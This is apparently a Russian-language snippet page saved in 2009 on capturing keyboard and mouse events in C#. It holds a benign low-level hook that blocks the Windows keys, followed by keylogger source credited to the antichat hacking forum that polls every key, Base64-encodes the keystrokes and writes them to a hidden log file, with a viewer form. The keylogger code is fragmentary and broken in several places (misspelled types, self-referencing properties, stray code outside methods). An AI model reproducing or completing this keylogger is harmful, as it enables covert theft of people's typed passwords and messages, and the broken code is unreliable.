Как отследить событие нажатия кнопки на клавиатуре/мышке

Тема http://www.sql.ru/forum/632552/otsledit-nazhatiya-knopok?
https://forum.antichat.ru/threads/41858/

Сохранено в апреле 2009, не проверялось

using System;
using System.Collections.Generic;
using System.Text;
using System.Diagnostics;
using System.Runtime.InteropServices;

namespace hook
{
    class Program
    {
        private const int WH_KEYBOARD_LL = 13;
        private const int WM_KEYDOWN = 0x0100;
        private static LowLevelKeyboardProc _proc = HookCallback;
        private static IntPtr _hookID = IntPtr.Zero;

        static void Main()
        {
            _hookID = SetHook(_proc);
            Application.Run();
            UnhookWindowsHookEx(_hookID);

        }

        private static IntPtr SetHook(LowLevelKeyboardProc proc)
        {
            using (Process curProcess = Process.GetCurrentProcess())
            using (ProcessModule curModule = curProcess.MainModule)
            {
                return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
            }
        }

        private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);

        private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
        {
            if ((nCode >= 0) && (wParam == (IntPtr)WM_KEYDOWN))
            {
                int vkCode = Marshal.ReadInt32(lParam);
                if (((Keys)vkCode == Keys.LWin) || ((Keys)vkCode == Keys.RWin))
                {
                    Console.WriteLine("{0} blocked!", (Keys)vkCode);
                    return (IntPtr)1;
                }
            }
            return CallNextHookEx(_hookID, nCode, wParam, lParam);
        }

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr GetModuleHandle(string lpModuleName);

    
    
    }
}

С античата

// KeyLogger на С# через GetAsyncKeyState
[DllImport("user32.dll")]
private static 
extern short GetAsyncKeyState(System.Int32 vKey);

private String keybuffer;
private System.Timers.Timer CheckKey;
private System.Timers.Timer FlushBuffer;
private String file;

public Bolean Enabled
{
    get
    {
        return CheckKey.Enabled && FlushBuffer.Enabled;
    }
    set
    {
        CheckKey.Enabled=value;
        FlushBuffer.Enabled=value;
    }
}

public Double FlushInterval
{

    get
    {
        return FlushInterval.Interval;

    }
    set
    {
        FlushInterval.Interval=value;
    }
}


public String File
{
    get
    {
        return file;
    }
    set
    {
        file = value;
    }
}
public KeyLogger(String filename)
{

    keybuffer = string.Empty;  

    this.File = filename;

    CheckKey = new System.Timers.Timer();
    CheckKey.Enabled = true;
    CheckKey.Elapsed += new System.Timers.ElapsedEventHandler(CheckKey_Elapsed  );
    CheckKey.Interval = 10;

    FlushBuffer = new System.Timers.Timer();
    FlushBuffer.Enabled = true;
    FlushBuffer.Elapsed += new System.Timers.ElapsedEventHandler(CheckKey_Elapsed  );
    FlushBuffer.Interval = 120000;
}
foreach(Int32 h in Enum.GetValues(typeof(System.Windows.Forms.Keys)))  
{
    if(GetAsyncKeyState(h) == -32767)
    keybuffer+=Enum.GetName(typeof(System.Windows.Form  s.Keys),h)+” “;
}
public void Flush2File(string file, bool append)
{
    try
    {
        StreamWriter sw = new StreamWriter(file,append);
        sw.WriteLine(Convert.ToBase64String(System.Text.En  coding.Default.GetBytes(keybuffer)));
        sw.Close();
        keybuffer = string.Empty;

    }
    catch(Exception ex)
    {
        throw ex;
    }
}
string filename=@”c:\keylogger.txt”;
KeyLogger kl;

textBox1.Text=”60000”;
textBox3.Text=filename;

try
{
    KeyLogger = new KeyLogger(filename);
    Kl.FlushInterval = Convert.ToDouble(textBox1.text);
}
catch(Exception)
{
    MessageBox.Show(“Йа - ошибко”);
}

//Код для формы
string filename=@”c:\windows\keylogger.txt”;
KeyLogger kl;

textBox1.Text=”60000”;
textBox3.Text=filename;

try
{
    KeyLogger = new KeyLogger(filename);
    Kl.FlushInterval = Convert.ToDouble(textBox1.text);
}
catch(Exception)
{
    MessageBox.Show(“Йа - ошибко”);
}
kl.Enabled=true;
kl.Flush2File(textBox3.text,true);

kl.Flush2File(textBox3.text,true);
kl.Enabled=false;

StreamReader sr = new StreamReader(filename);
byte [] binary;

System.Text.ASCIIEncoding enc = new System.Text.ASCIIEncoding();
binary = Convert.FromBase64String(sr.ReadLine());
richTextBox1.Text = enc.GetString(binary);

while(!sr.EndOfStream)
{
    binary = Convert.FromBase64String(sr.ReadLine());
    richTextBox1.AppendText(enc.GetString(binary));
}
sr.Close();

ContextMenu contextMenu = new ContextMenu();
contextMenu.MenuItems.Add(“&jes_yo”,new EventHandler(this.jes_yo));
notifyIcon1.ContextMenu = contextMenu;

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *